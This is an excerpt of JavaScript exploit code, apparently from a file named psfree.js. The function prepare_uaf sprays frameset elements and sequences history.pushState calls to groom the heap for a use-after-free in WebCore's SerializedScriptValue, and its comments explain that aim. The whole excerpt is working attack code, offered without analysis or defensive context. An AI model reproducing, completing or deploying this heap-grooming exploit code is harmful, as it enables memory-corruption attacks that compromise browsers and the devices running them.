Function prepare_uaf

g2all/700/psfree.js:138–173

()

}

function prepare_uaf() {
  const fsets = [];
  const indices = [];

  function alloc_fs(fsets, size) {
    for (let i = 0; i < size / 2; i++) {
      const fset = document.createElement("frameset");
      fset.rows = rows;
      fset.cols = rows;
      fsets.push(fset);
    }
  }

  // the first call to either replaceState/pushState is likely to allocate a
  // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
  // the SmallLine where the SSV resides from being freed. so we do a dummy
  // call first
  history.replaceState("state0", "");

  alloc_fs(fsets, num_fsets);

  // the "state1" SSVs is what we will UAF

  history.pushState("state1", "", `${original_loc}#bar`);
  indices.push(fsets.length);

  alloc_fs(fsets, num_spaces);

  history.pushState("state1", "", `${original_loc}#foo`);
  indices.push(fsets.length);

  alloc_fs(fsets, num_spaces);

  history.pushState("state2", "");
  return [fsets, indices];
}

// WebCore::SerializedScriptValue use-after-free
//